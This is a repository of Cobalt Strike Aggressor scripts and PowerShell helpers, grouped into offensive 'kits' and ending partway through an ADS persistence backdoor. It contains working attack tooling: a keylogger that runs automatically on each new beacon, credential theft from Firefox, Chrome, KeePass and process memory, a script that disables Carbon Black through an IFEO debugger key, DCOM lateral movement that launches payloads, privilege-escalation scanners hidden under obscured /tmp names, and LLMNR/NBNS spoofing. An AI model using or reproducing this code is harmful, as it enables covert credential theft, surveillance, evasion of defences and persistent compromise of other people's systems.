├── .gitignore ├── .gitattributes ├── .gitmodules ├── Pushover ├── pushover-cs └── pushover.cna ├── auto-keylogger.cna ├── kits ├── AnnoyKit │ ├── scripts │ │ ├── annoySongs │ │ │ ├── Play-ImperialMarch.ps1 │ │ │ ├── Play-RickAstley.ps1 │ │ │ └── Play-TetrisTune.ps1 │ │ └── Open-HiddenInternetExplorer.ps1 │ └── AnnoyKit.cna ├── PrivescKit │ └── PrivescKit.cna ├── AntiForensicsKit │ ├── scripts │ │ ├── Block-CarbonBlack.ps1 │ │ └── Check-VM.ps1 │ └── AntiForensicsKit.cna ├── ThirdParty │ └── thirdparty.cna ├── KitLoader.cna ├── CredKit │ ├── CredKit.cna │ └── scripts │ │ ├── Get-VaultCredential.ps1 │ │ ├── Invoke-mimikittenz.ps1 │ │ └── KeePassConfig.ps1 ├── PersistKit │ ├── scripts │ │ ├── Invoke-ADSBackdoor.ps1 │ │ └── Persist-Poweliks.ps1 │ └── PersistKit.cna ├── EnumKit │ ├── EnumKit.cna │ └── scripts │ │ └── Get-MicrophoneAudio.ps1 └── DebugKit │ └── DebugKit.cna ├── inveigh └── inveigh.cna ├── README.md ├── Reports └── knightlab-timeline.rpt ├── webservice.sl ├── matrix-hookshot └── matrix-hookshot.cna ├── LICENSE └── Ebowla └── ebowla-interop.cna /.gitignore: -------------------------------------------------------------------------------- 1 | In-dev/ -------------------------------------------------------------------------------- /.gitattributes: -------------------------------------------------------------------------------- 1 | # Default behaviour 2 | * text=auto 3 | 4 | # Explicit file delcarations to make sure nothing breaks 5 | *.sh text eol=lf 6 | *.ps1 text eol=crlf 7 | *.cna text eol=lf -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "inveigh/inveigh"] 2 | path = inveigh/inveigh 3 | url = https://github.com/Kevin-Robertson/Inveigh.git 4 | [submodule "Persistence/OutlookPersistence"] 5 | path = Persistence/OutlookPersistence 6 | url = https://github.com/Und3rf10w/OutlookPersistence.git 7 | [submodule "Bloodhound/BloodHound"] 8 | path = Bloodhound/BloodHound 9 | url = https://github.com/BloodHoundAD/BloodHound 10 | -------------------------------------------------------------------------------- /Pushover/pushover-cs: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | if [[ $# -gt 0 ]]; then 3 | title=$1 4 | shift 5 | a=$@ 6 | else 7 | read a; 8 | fi 9 | 10 | pushover () { 11 | curl -s -F "token=$1" -F "user=$2" -F "title=$3" -F "message=$a" https://api.pushover.net/1/messages.json 12 | } 13 | 14 | # sample pushover user config 15 | # add a line for each user you wish to receive a message 16 | # pushover "$title" "$a" #sample_username1 17 | -------------------------------------------------------------------------------- /auto-keylogger.cna: -------------------------------------------------------------------------------- 1 | sub getexplorerpid { 2 | bps($1, lambda({ 3 | local('$pid $name $entry'); 4 | foreach $entry (split("\n", $2)) { 5 | ($name, $ppid, $pid, $arch) = split("\\s+", $entry); 6 | println($entry); 7 | # println("Name: $name PID: $pid "); 8 | if ($name eq "explorer.exe") { 9 | # $1 is our Beacon ID, $pid is the PID of explorer.exe 10 | [$callback: $1, $pid]; 11 | } 12 | } 13 | }, $callback => $2)); 14 | } 15 | 16 | 17 | on beacon_initial { 18 | getexplorerpid($1, { 19 | bsteal_token($1, int($2)); 20 | bkeylogger($1, $2, "x64"); 21 | }); 22 | blog($1, "Automatic keylogger activated"); 23 | bnote($1, "Auto-keylogger") 24 | } -------------------------------------------------------------------------------- /kits/AnnoyKit/scripts/annoySongs/Play-ImperialMarch.ps1: -------------------------------------------------------------------------------- 1 | #Taken from https://gist.github.com/SadProcessor 2 | function Play-ImperialMarch(){ 3 | [console]::beep(440,500) 4 | [console]::beep(440,500) 5 | [console]::beep(440,500) 6 | [console]::beep(349,350) 7 | [console]::beep(523,150) 8 | [console]::beep(440,500) 9 | [console]::beep(349,350) 10 | [console]::beep(523,150) 11 | [console]::beep(440,1000) 12 | [console]::beep(659,500) 13 | [console]::beep(659,500) 14 | [console]::beep(659,500) 15 | [console]::beep(698,350) 16 | [console]::beep(523,150) 17 | [console]::beep(415,500) 18 | [console]::beep(349,350) 19 | [console]::beep(523,150) 20 | [console]::beep(440,1000) 21 | } 22 | -------------------------------------------------------------------------------- /kits/AnnoyKit/scripts/Open-HiddenInternetExplorer.ps1: -------------------------------------------------------------------------------- 1 | # Adapted from Powershell Empire (https://github.com/PowerShellEmpire/Empire) 2 | # Supply a url, opens a hidden internet explorer on the url 3 | # Use this for youtube sites 4 | # I removed the volume up functionality because I couldn't get it to work 5 | # @Und3rf10w 6 | 7 | Function Open-HiddenInternetExplorer 8 | { 9 | [CmdletBinding()] 10 | Param ( 11 | [Parameter(Mandatory = $False, Position = 0)] 12 | [ValidateNotNullOrEmpty()] 13 | [String] $VideoURL = $null 14 | ) 15 | if (!$VideoURL) 16 | { 17 | Write-Host "Invalid URL supplied. Exiting..." 18 | Exit 1 19 | } 20 | #Create hidden IE Com Object 21 | $IEComObject = New-Object -com "InternetExplorer.Application" 22 | $IEComObject.visible = $False 23 | $IEComObject.navigate($VideoURL) 24 | } -------------------------------------------------------------------------------- /kits/PrivescKit/PrivescKit.cna: -------------------------------------------------------------------------------- 1 | # Actions in this kit center around endpoint privilege escalation. Actions that involve forceful scanning (powerup.ps1, unix-privesc-check) should go in the apporiate section 2 | # @Und3rf10w 3 | 4 | popup beacon_bottom { 5 | menu "PrivescKit" { 6 | menu "Scanners"{ 7 | item "All PowerUp checks"{ 8 | local('$bid'); 9 | foreach $bid ($1){ 10 | binput($bid, "powershell-import PowerUp.ps1"); 11 | bpowershell_import($bid, script_resource("PrivescKit/scripts/PowerUp.ps1")); 12 | binput($bid, "powershell Invoke-AllChecks"); 13 | bpowershell($bid, "Invoke-AllChecks"); 14 | } 15 | } 16 | } 17 | } 18 | } 19 | 20 | popup ssh { 21 | menu "PrivescKit" { 22 | menu "Scanners"{ 23 | item "Run LinEnum.sh"{ 24 | local('$bid'); 25 | foreach $bid ($1){ 26 | bcd($1, "/tmp"); 27 | bupload($1, script_resource("PrivescKit/scripts/LinEnum.sh")); 28 | bshell($1, "mv /tmp/LinEnum.sh /tmp/.AGq4yheattttt5y.sh"); 29 | bshell($1, "chmod +x /tmp/.AGq4yheattttt5y.sh") 30 | bshell($1, "/tmp/.AGq4yheattttt5y.sh -t"); 31 | blog($1, "Make sure you delete the /tmp/.AGq4yheattttt5y.sh file once the script is complete"); 32 | } 33 | } 34 | item "Run unix-privesc-check"{ 35 | local('$bid'); 36 | foreach $bid ($1){ 37 | bcd($1, "/tmp"); 38 | bupload($1, script_resource("PrivescKit/scripts/unix-privesc-check")); 39 | bshell($1, "mv /tmp/unix-privesc-check /tmp/.AGr5qgrakHSTR"); 40 | bshell($1, "chmod +x /tmp/.AGr5qgrakHSTR"); 41 | bshell($1, "/tmp/.AGr5qgrakHSTR detailed"); 42 | blog($1, "Make sure you delete the /tmp/.AGr5qgrakHSTR file once the script is complete"); 43 | } 44 | } 45 | } 46 | } 47 | } -------------------------------------------------------------------------------- /Pushover/pushover.cna: -------------------------------------------------------------------------------- 1 | # This script adds basic pushover functionality to Cobalt Strike 2 | # Ensure that you configure the pushover users in pushover-cs, ensure it is executeable 3 | # @Und3rf10w 4 | 5 | on ready { 6 | elog("Pushover notifications are now configured"); 7 | } 8 | 9 | on event_notify { 10 | $push = exec("/usr/bin/pushover-cs CS:System_Event $2 $+ : $1"); 11 | @pushdata = readAll($push); 12 | closef($push); 13 | } 14 | 15 | on event_join { 16 | $push = exec("/usr/bin/pushover-cs CS:User_Joined $2 $+ : $1 has joined"); 17 | @pushdata = readAll($push); 18 | closef($push); 19 | } 20 | 21 | on event_newsite { 22 | $push = exec("/usr/bin/pushover-cs CS:New_Site_Added $3 $+ : $1 $+ : $2 "); 23 | @pushdata = readAll($push); 24 | closef($push); 25 | } 26 | 27 | on event_action { 28 | $push = exec("/usr/bin/pushover-cs CS:Action_Performed $2 $+ : < $+ $3 $+ >: $1 "); 29 | @pushdata = readAll($push); 30 | closef($push); 31 | } 32 | 33 | on event_public { 34 | $push = exec("/usr/bin/pushover-cs CS:New_Message $3 $+ : < $+ $1 $+ >: $2 "); 35 | @pushdata = readAll($push); 36 | closef($push); 37 | } 38 | 39 | on event_quit { 40 | $push = exec("/usr/bin/pushover-cs CS:User_Left $2 $+ : $1 has quit"); 41 | @pushdata = readAll($push); 42 | closef($push); 43 | } 44 | 45 | on beacon_initial { 46 | $push = exec("/usr/bin/pushover-cs CS:New_Beacon New Beacon Received - ID: $1 | Hostname: " . binfo($1, "computer")); 47 | @pushdata = readAll($push); 48 | closef($push); 49 | } 50 | 51 | on ssh_initial { 52 | $push = exec("/usr/bin/pushover-cs CS:New_SSH New SSH Session Received - ID: $1 | Hostname " . binfo($1, "computer")); 53 | @pushdata = readAll($push); 54 | closef($push); 55 | } 56 | -------------------------------------------------------------------------------- /kits/AnnoyKit/AnnoyKit.cna: -------------------------------------------------------------------------------- 1 | # Actions in this kit center around miscellaneous fun thta generally involve messing with the user 2 | # @Und3rf10w 3 | 4 | popup beacon_bottom { 5 | menu "AnnoyKit" { 6 | item "Open Hidden Internet Explorer" { 7 | local('$bid'); 8 | foreach $bid ($1){ 9 | binput($1, "powershell-import Open-HiddenInternetExplorer.ps1"); 10 | bpowershell_import($1, script_resource("AnnoyKit/scripts/Open-HiddenInternetExplorer.ps1")); 11 | prompt_text("URL to open?", "https://www.youtube.com/watch?v=wZZ7oFKsKzY", { 12 | $videoURL = $1; 13 | return $videoURL; 14 | }); 15 | binput($1, "powershell Open-HiddenInternetExplorer $videoURL "); 16 | bpowershell($1, "Open-HiddenInternetExplorer $videoURL "); 17 | } 18 | } 19 | # Credit goes to SadProcessor for these scripts! 20 | menu "Play chiptunes" { 21 | item "Play Imperial March" { 22 | local('$bid'); 23 | foreach $bid ($1){ 24 | binput($1, "powershell-import Play-ImperialMarch.ps1"); 25 | bpowershell_import($1, script_resource("AnnoyKit/scripts/annoySongs/Play-ImperialMarch.ps1")); 26 | binput($1, "powershell Play-ImperialMarch"); 27 | bpowershell($1, "Play-ImperialMarch"); 28 | } 29 | } 30 | item "Play Rickroll" { 31 | local('$bid'); 32 | foreach $bid ($1){ 33 | binput($1, "powershell-import Play-RickAstley.ps1"); 34 | bpowershell_import($1, script_resource("AnnoyKit/scripts/annoySongs/Play-RickAstley.ps1")); 35 | binput($1, "powershell Play-RickAstely"); 36 | bpowershell($1, "Play-RickAstely"); 37 | } 38 | } 39 | item "Play Tetris Theme" { 40 | local('$bid'); 41 | foreach $bid ($1){ 42 | binput($1, "powershell-import Play-TetrisTune.ps1"); 43 | bpowershell_import($1, script_resource("AnnoyKit/scripts/annoySongs/Play-TetrisTune.ps1")); 44 | binput($1, "powershell Play-TetrisTune"); 45 | bpowershell($1, "Play-TetrisTune"); 46 | } 47 | } 48 | } 49 | } 50 | } -------------------------------------------------------------------------------- /kits/AntiForensicsKit/scripts/Block-CarbonBlack.ps1: -------------------------------------------------------------------------------- 1 | function Block-CarbonBlack{ 2 | <# 3 | .SYNOPSIS 4 | Powershell script that will block the execution of Carbon Black Protection <= 7.2.3 Patch 2 5 | Author: Jonathan Echavarria (@Und3rf10w) 6 | 7 | .DESCRIPTION 8 | This function will check for the existence of a registry key for cb.exe in Image File Execution Options. If it does not 9 | exist, it will create it. Finally, once the path is verified to exist, add a new property value for Debugger and point 10 | it to a malformed path. Next time cb.exe attempts to start, the malformed entry will prevent it from starting. 11 | 12 | .EXAMPLE 13 | PS C:\> Block-CarbonBlack 14 | #> 15 | if(!(Test-Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cb.exe")){ 16 | write-host "Cb.exe key already exists, showing contents: " 17 | Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cb.exe" 18 | } else { 19 | write-host "Cb.exe key doesn't exist, creating it" 20 | New-Item -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cb.exe" -Force 21 | } 22 | 23 | $file_path = [System.IO.Path]::GetRandomFileName() 24 | $malformed_path = "`"C:\Windows\" + $file_path + "`"" 25 | write-host "Creating randomized debugger key with malformed path of " + $malformed_path 26 | New-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cb.exe" -Name "Debugger" -Value $malformed_path 27 | } 28 | 29 | function Restore-CarbonBlack{ 30 | <# 31 | .DESCRIPTION 32 | This function will remove the Image File Execution Options key for cb.exe if it exists 33 | 34 | .EXAMPLE 35 | PS C:\> Restore-CarbonBlack 36 | #> 37 | if(!(Test-Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cb.exe")){ 38 | Remove-Item -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cb.exe" 39 | Write-Host "Removed the cb.exe key" 40 | } else{ 41 | Write-Host "cb.exe key does not exist" 42 | } 43 | } -------------------------------------------------------------------------------- /kits/ThirdParty/thirdparty.cna: -------------------------------------------------------------------------------- 1 | # Lateral Movement alias 2 | # https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/ 3 | 4 | # register help for our alias 5 | beacon_command_register("com-exec", "lateral movement with DCOM", 6 | "Synopsis: com-exec [target] [listener]\n\n" . 7 | "Run a payload on a target via DCOM MMC20.Application Object"); 8 | 9 | # here's our alias to collect our arguments 10 | alias com-exec { 11 | if ($3 is $null) { 12 | # let the user choose a listener 13 | openPayloadHelper(lambda({ 14 | com_exec_go($bid, $target, $1); 15 | }, $bid => $1, $target => $2)); 16 | } 17 | else { 18 | # we have the needed arguments, pass them 19 | com_exec_go($1, $2, $3); 20 | } 21 | } 22 | 23 | # this is the implementation of the attack 24 | sub com_exec_go { 25 | local('$command $script $oneliner'); 26 | 27 | # check if our listener exists 28 | if (listener_info($3) is $null) { 29 | berror($1, "Listener $3 does not exist"); 30 | return; 31 | } 32 | 33 | # state what we're doing. 34 | btask($1, "Tasked Beacon to jump to $2 (" . listener_describe($3, $2) . ") via DCOM"); 35 | 36 | # generate a PowerShell one-liner to run our alias 37 | $command = powershell($3, true, "x86"); 38 | 39 | # remove "powershell.exe " from our command 40 | $command = strrep($command, "powershell.exe ", ""); 41 | 42 | # build script that uses DCOM to invoke ExecuteShellCommand on MMC20.Application object 43 | $script = '[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "'; 44 | $script .= $2; 45 | $script .= '")).Document.ActiveView.ExecuteShellCommand("'; 46 | $script .= 'c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe'; 47 | $script .= '", $null, "'; 48 | $script .= $command; 49 | $script .= '", "7")'; 50 | 51 | # run the script we built up 52 | bpowershell!($1, $script); 53 | 54 | # complete staging process (for bind_pipe listeners) 55 | bstage($1, $2, $3); 56 | } 57 | 58 | 59 | # Chrome dump per #armitage IRC: 60 | # -`butane 61 | alias chromedump { 62 | bmimikatz($1, "dpapi::chrome /in:\"%localappdata%\\Google\\Chrome\\User Data\\Default\\Login Data\" /unprotect"); 63 | } 64 | -------------------------------------------------------------------------------- /kits/AnnoyKit/scripts/annoySongs/Play-RickAstley.ps1: -------------------------------------------------------------------------------- 1 | #Taken from https://gist.github.com/SadProcessor/ 2 | function Play-RickAstley(){ 3 | [console]::beep(440,150)#A 4 | [console]::beep(493,150)#B 5 | [console]::beep(587,150)#D 6 | [console]::beep(493,150)#B 7 | Start-Sleep -m 20 8 | [console]::beep(698,400)#F 9 | [console]::beep(698,400)#F 10 | [console]::beep(659,500)#E 11 | Start-Sleep -m 50 12 | ## 13 | [console]::beep(440,150)#A 14 | [console]::beep(493,150)#B 15 | [console]::beep(523,150)#C 16 | [console]::beep(444,150)#B 17 | Start-Sleep -m 20 18 | [console]::beep(659,400)#E 19 | [console]::beep(659,400)#E 20 | [console]::beep(587,400)#D 21 | [console]::beep(523,100)#C 22 | [console]::beep(440,100)#A 23 | Start-Sleep -m 50 24 | ## 25 | [console]::beep(440,150)#A 26 | [console]::beep(493,150)#B 27 | [console]::beep(587,150)#D 28 | [console]::beep(493,150)#B 29 | Start-Sleep -m 20 30 | [console]::beep(587,400)#D 31 | [console]::beep(659,400)#E 32 | [console]::beep(523,400)#C 33 | [console]::beep(493,150)#B 34 | [console]::beep(440,150)#A 35 | Start-Sleep -m 20 36 | [console]::beep(440,150)#A 37 | [console]::beep(659,250)#E 38 | [console]::beep(587,250)#D 39 | Start-Sleep -m 200 40 | ## 41 | [console]::beep(440,150)#A 42 | [console]::beep(493,150)#B 43 | [console]::beep(587,150)#D 44 | [console]::beep(493,150)#B 45 | Start-Sleep -m 20 46 | [console]::beep(698,400)#F 47 | [console]::beep(698,400)#F 48 | [console]::beep(659,500)#E 49 | Start-Sleep -m 50 50 | ## 51 | [console]::beep(440,150)#A 52 | [console]::beep(493,150)#B 53 | [console]::beep(523,150)#C 54 | [console]::beep(440,150)#A 55 | Start-Sleep -m 20 56 | [console]::beep(880,600)#A 57 | [console]::beep(523,400)#C 58 | [console]::beep(587,400)#D 59 | [console]::beep(659,100)#E 60 | [console]::beep(587,100)#D 61 | start-sleep -m 50 62 | ## 63 | [console]::beep(440,150)#A 64 | [console]::beep(493,150)#B 65 | [console]::beep(587,150)#D 66 | [console]::beep(493,150)#B 67 | Start-Sleep -m 20 68 | [console]::beep(587,400)#D 69 | [console]::beep(659,400)#E 70 | [console]::beep(523,400)#C 71 | [console]::beep(493,150)#B 72 | [console]::beep(440,150)#A 73 | Start-Sleep -m 50 74 | [console]::beep(440,150)#A 75 | [console]::beep(659,250)#E 76 | [console]::beep(587,250)#D 77 | } 78 | -------------------------------------------------------------------------------- /kits/KitLoader.cna: -------------------------------------------------------------------------------- 1 | # This script simply loads all of the kits in this repository. Just load this one, and it'll load the rest 2 | # @Und3rf10w 3 | 4 | include(script_resource("AnnoyKit/AnnoyKit.cna")); 5 | include(script_resource("AntiForensicsKit/AntiForensicsKit.cna")); 6 | include(script_resource("CredKit/CredKit.cna")); 7 | include(script_resource("EnumKit/EnumKit.cna")); 8 | include(script_resource("PersistKit/PersistKit.cna")); 9 | include(script_resource("PrivescKit/PrivescKit.cna")); 10 | include(script_resource("ThirdParty/thirdparty.cna")); 11 | elog("Aggressor Kit loaded by " . mynick()); 12 | 13 | # Useful aliases, placed in kitloader because I always have this loaded 14 | 15 | 16 | ############################ 17 | ####### SSH ALIASES ######## 18 | ############################ 19 | ssh_alias ls { 20 | if(!$2){ 21 | bshell($1, "ls -la"); 22 | } else { 23 | bshell($1, "ls -la $2"); 24 | } 25 | } 26 | 27 | ssh_command_register("ls", "Lists files", "Use: ls [folder]\n\nLists files in a folder"); 28 | 29 | ssh_alias cat { 30 | if ($2){ 31 | bshell($1, "cat $2"); 32 | } else { 33 | berror($1, "Error: You must specify a file"); 34 | } 35 | } 36 | ssh_command_register("cat", "Displays the contents of a file", "Use: cat [file]\n\nDisplays the contents of [file]"); 37 | 38 | ssh_alias tail { 39 | if ($2){ 40 | bshell($1, "tail $2"); 41 | } else { 42 | berror($1, "Error: You must specify a file"); 43 | } 44 | } 45 | ssh_command_register("tail", "Print the last 10 lines of a file", "Use: tail [file]\n\nDisplays last 10 lines of [file]"); 46 | 47 | ssh_alias head { 48 | if ($2){ 49 | bshell($1, "head $2"); 50 | } else { 51 | berror($1, "Error: You must specify a file"); 52 | } 53 | } 54 | ssh_command_register("head", "Print the first 10 lines of a file", "Use: head [file]\n\nDisplays first 10 lines of [file]"); 55 | 56 | ssh_alias ps { 57 | bshell($1, "ps aux"); 58 | } 59 | ssh_command_register("ps", "Show process list", "Use: ps\n\nShows a list of processes"); 60 | 61 | 62 | ############################ 63 | ###### BEACON ALIASES ###### 64 | ############################ 65 | 66 | alias type { 67 | if ($2){ 68 | bshell($1, "type $2"); 69 | } else { 70 | berror($1, "Error: You must specify a file"); 71 | } 72 | } 73 | beacon_command_register("type", "Displays the contents of a file", "Use: type [file]\n\nDisplays the contents of [file]"); 74 | -------------------------------------------------------------------------------- /inveigh/inveigh.cna: -------------------------------------------------------------------------------- 1 | # Adds menu driven support for inveigh 2 | # @Und3rf10w 3 | 4 | # TODO: 5 | # * build out a proper Java Swing menu to customize the options for unprivileged and privileged inveigh 6 | 7 | 8 | sub runPrivilegedInveigh { 9 | $bid = $1; 10 | binput($1, "powershell-import " . script_resource("inveigh/Scripts/Inveigh.ps1")); 11 | bpowershell_import($1, script_resource("inveigh/Scripts/Inveigh.ps1")); 12 | prompt_text("How long would you like to run Inveigh (in minutes)?", "15", { 13 | binput($bid, "powershell Invoke-Inveigh -ConsoleOutput N -RunTime $1 -Tool 2 -LLMNR Y -NBNS Y -StatusOutput Y"); 14 | bpowershell($bid, "Invoke-Inveigh -ConsoleOutput N -RunTime $1 -Tool 2 -LLMNR Y -NBNS Y -StatusOutput Y"); 15 | }); 16 | } 17 | 18 | sub runUnPrivilegedInveigh { 19 | $bid = $1; 20 | binput($1, "powershell-import " . script_resource("inveigh/Scripts/Inveigh-Unprivileged.ps1")); 21 | bpowershell_import($1, script_resource("inveigh/Scripts/Inveigh-Unprivileged.ps1")); 22 | prompt_text("How long would you like to run Inveigh (in minutes)?", "15", { 23 | binput($bid, "powershell Invoke-InveighUnprivileged -ConsoleOutput N -RunTime $1 -Tool 2 -LLMNR Y -NBNS Y -StatusOutput Y"); 24 | bpowershell($bid, "Invoke-InveighUnprivileged -ConsoleOutput N -RunTime $1 -Tool 2 -LLMNR Y -NBNS Y -StatusOutput Y"); 25 | }); 26 | } 27 | 28 | sub stopInveigh{ 29 | $bid = $1; 30 | binput($1, "powershell-import " . script_resource("inveigh/Scripts/Inveigh.ps1")); 31 | bpowershell_import($1, script_resource("inveigh/Scripts/Inveigh.ps1")); 32 | bpowershell($bid, "Stop-Inveigh"); 33 | } 34 | 35 | sub stopInveigh-Unprivileged{ 36 | $bid = $1; 37 | binput($1, "powershell-import " . script_resource("inveigh/Scripts/Inveigh-Unprivileged.ps1")); 38 | bpowershell_import($1, script_resource("inveigh/Scripts/Inveigh-Unprivileged.ps1")); 39 | bpowershell($bid, "Stop-Inveigh"); 40 | } 41 | 42 | popup beacon_bottom { 43 | menu "Inveigh"{ 44 | item "Run Inveigh"{ 45 | local('$bid'); 46 | foreach $bid ($1){ 47 | if (-isadmin $bid){ 48 | blog($1, "\c3Beacon is admin\c0, \c8running privileged Inveigh\c0"); 49 | runPrivilegedInveigh($bid); 50 | } 51 | else { 52 | blog($1, "\c4Beacon is not admin\c0, \c8running unprivileged Inveigh\c0"); 53 | runUnPrivilegedInveigh($bid); 54 | } 55 | } 56 | } 57 | item "Stop Running Inveigh"{ 58 | local('$bid'); 59 | foreach $bid ($1){ 60 | if (-isadmin $bid){ 61 | blog($1, "Attempting to stop Inveigh"); 62 | stopInveigh($bid); 63 | } 64 | else { 65 | blog($1, "Attempting to stop unprivileged Inveigh"); 66 | stopInveigh-Unprivileged($bid); 67 | } 68 | } 69 | } 70 | } 71 | } 72 | -------------------------------------------------------------------------------- /kits/CredKit/CredKit.cna: -------------------------------------------------------------------------------- 1 | # Actions in this kit center around credential theft, be it via memory scraping or reading files in. If it involves stealing passwords, it should be here. 2 | # @Und3rf10w 3 | 4 | popup beacon_bottom { 5 | menu "CredKit" { 6 | item "Get Firefox Passwords"{ 7 | local('$bid'); 8 | foreach $bid ($1){ 9 | binput($1, "powershell-import Get-FirefoxPasswords.ps1"); 10 | # read in the powershell script 11 | $handle = openf(script_resource("CredKit/scripts/Get-FirefoxPasswords.ps1")); 12 | $firefox_script = readb($handle, -1); 13 | closef($handle); 14 | # host firefox script on beacon 15 | $cmd = beacon_host_script($1, $firefox_script); 16 | binput($bid, "powershell Get-FirefoxPasswords"); 17 | sleep(5 * 1000); 18 | # execute in-memory hosted script 19 | bpowerpick($1, "$cmd"); 20 | } 21 | } 22 | # item "Get Chrome Passwords"{ 23 | # local('$bid'); 24 | # foreach $bid ($1){ 25 | # binput($1, "powershell-import Get-ChromePasswords.ps1"); 26 | # # read in the powershell script 27 | # $handle = openf(script_resource("CredKit/scripts/Get-ChromePasswords.ps1")); 28 | # $chrome_script = readb($handle, -1); 29 | # closef($handle); 30 | # $cmd = beacon_host_script($bid, $chrome_script); 31 | # binput($bid, "powerpick Get-ChromePasswords"); 32 | # sleep(50 * 1000); 33 | # # execute in-memory hosted script 34 | # bpowerpick($bid, "$cmd"); 35 | # } 36 | #} 37 | item "Find KeePass Config"{ 38 | local('$bid'); 39 | foreach $bid ($1) { 40 | binput($1, "powershell-import KeePassConfig.ps1"); 41 | bpowershell_import($bid, script_resource("CredKit/scripts/KeePassConfig.ps1")); 42 | binput($bid, "powershell Find-KeePassconfig"); 43 | bpowershell($bid, "Find-KeePassconfig"); 44 | } 45 | } 46 | item "Get KeePass database master key"{ 47 | local('$bid'); 48 | foreach $bid ($1) { 49 | binput($bid, "powershell-import KeeThief.ps1"); 50 | bpowershell_import($bid, script_resource("CredKit/scripts/KeeThief.ps1")); 51 | binput($bid, "powershell Get-KeePassDatabaseKey -Verbose"); 52 | bpowershell($bid, "Get-KeePassDatabaseKey -Verbose"); 53 | } 54 | } 55 | item "Invoke-mimikittenz"{ 56 | local('$bid'); 57 | foreach $bid ($1) { 58 | binput($bid, "powershell-import Invoke-mimikittenz.ps1"); 59 | bpowershell_import($bid, script_resource("CredKit/scripts/Invoke-mimikittenz.ps1")); 60 | binput($bid, "powershell Invoke-mimikittenz"); 61 | bpowershell($bid, "Invoke-mimikittenz"); 62 | } 63 | } 64 | } 65 | } 66 | 67 | popup ssh { 68 | menu "CredKit" { 69 | item "Find bitcoin addresses"{ 70 | local('$bid'); 71 | foreach $bid ($1){ 72 | bshell($1, 'egrep "^[13][a-km-zA-HJ-NP-Z0-9]{26,33}$" / -R 2>/dev/null'); 73 | } 74 | } 75 | } 76 | } 77 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Aggressor Scripts 2 | This is just a random collection of Aggressor Scripts I've written for [Cobalt Strike](https://www.cobaltstrike.com) 3.x. 3 | 4 | Please note that most of them could probably use some tweaking to better suit your environment/tactics. 5 | 6 | Shoot me any questions and feel free to submit a pull request for any improvements you may have! 7 | 8 | ## Using this repository 9 | 10 | I make use of [git submodules](https://git-scm.com/book/en/v2/Git-Tools-Submodules), so clone this repo with ```git clone --recursive``` 11 | 12 | If you didn't follow my instructions and already cloned the repo, go to the root of the repo and run ```git submodule update --init --recursive``` 13 | 14 | ## Kits 15 | 16 | Most of the useful scripts here are organized in [kits](kits). All you have to do is load the [KitLoader.cna](kits/KitLoader.cna) script, and it will automatically load all other kits (execpt the DebugKit). 17 | 18 | ### Kit descriptions 19 | 1. **AnnoyKit** 20 | 21 | Actions in this kit center around miscellaneous fun that generally involve messing with the user 22 | 23 | 2. **AntiForensicsKit** 24 | 25 | Actions in this kit center around antiforensics. If it slows an investigator down, it likely belongs in this kit. We all know antiforensics is best forensics. 26 | 27 | 3. **CredKit** 28 | 29 | Actions in this kit center around credential theft, be it via memory scraping or reading files in. If it involves stealing passwords, it should be here. 30 | 31 | 4. **DebugKit** 32 | 33 | This kit is limited to actions that I use for development and debugging, and thus is not loaded with the rest of them. 34 | 35 | 5. **EnumKit** 36 | 37 | Actions in this kit center around host and network enumeration. Credential enumeration actions should go in CredKit instead. 38 | 39 | 6. **PersistKit** 40 | 41 | Actions in this kit center around endpoint persistence. Examples include backdoor service creation, backdoor process creation, etc 42 | 43 | 7. **PrivEscKit** 44 | 45 | Actions in this kit center around endpoint privilege escalation. Actions that involve forceful scanning (powerup.ps1, unix-privesc-check) should go in the apporiate section 46 | 47 | 8. **ThirdParty** 48 | This is is just a random collection of .cna scripts that other people have created that I like to use. I just have it loaded with kitloader for conveience. There may be changes to the third party scripts to better integerate with my workflow. 49 | 50 | ## Other scripts 51 | >inveigh/ 52 | 53 | Runs [Inveigh](https://github.com/Kevin-Robertson/Inveigh) against the selected machine(s) for a specified amount of time. This does automatically enable LLMNR and NBNS spoofing. 54 | 55 | >Ebowla/ 56 | 57 | Adds interoperability between Cobalt Strike and [Ebowla](https://github.com/Genetic-Malware/Ebowla). I plan on making this process much more integrated and automated, but at this time, you can generate an Ebowla payload within Cobalt Strike by going to ```Attacks -> Generate Ebowla Payload```. See [ewbowla-interop.cna](Ebowla/ebowla-interop.cna) for instructions. 58 | 59 | >Pushover/ 60 | 61 | [Pushover](https://pushover.net) support for Cobalt Strike, ridiculously useful. 62 | 63 | See [pushover-cs](Pushover/pushover-cs) for instructions. 64 | 65 | >Reports/ 66 | 67 | These are reporting (.rpt) scripts created for Cobalt Strike. 68 | -------------------------------------------------------------------------------- /kits/PersistKit/scripts/Invoke-ADSBackdoor.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-ADSBackdoor{ 2 | <# 3 | .SYNOPSIS 4 | Powershell Script that will use Alternate Data Streams to achieve persistence 5 | Author: Matt Nelson (@enigma0x3) 6 | Modified by Jonathan Echavarria (@Und3rf10w) to work with Cobalt Strike 7 | 8 | .DESCRIPTION 9 | This script will obtain persistence on a Windows 7+ machine under both Standard and Administrative accounts by 10 | using two Alternate Data Streams. The first Alternate Data stream stores the payload and the second Alternate Data Stream 11 | stores some VBScript that acts as a wrapper in order to hide the DOS prompt when invoking the data stream containing the 12 | payload. This script is not intented to be used outside the Cobalt Strike Und3rf10w Aggressor Kit workflow as it will 13 | correctly generate all of the correct arguments. 14 | 15 | .EXAMPLE 16 | PS C:\> Invoke-ADSBackdoor -admin -RegKeyName Und3rf10w_key -backdoored_file_path C:\Windows\System32\explorer.exe -cobaltstrike_gen_payload 17 | 18 | #> 19 | 20 | 21 | [CmdletBinding()] 22 | Param( 23 | 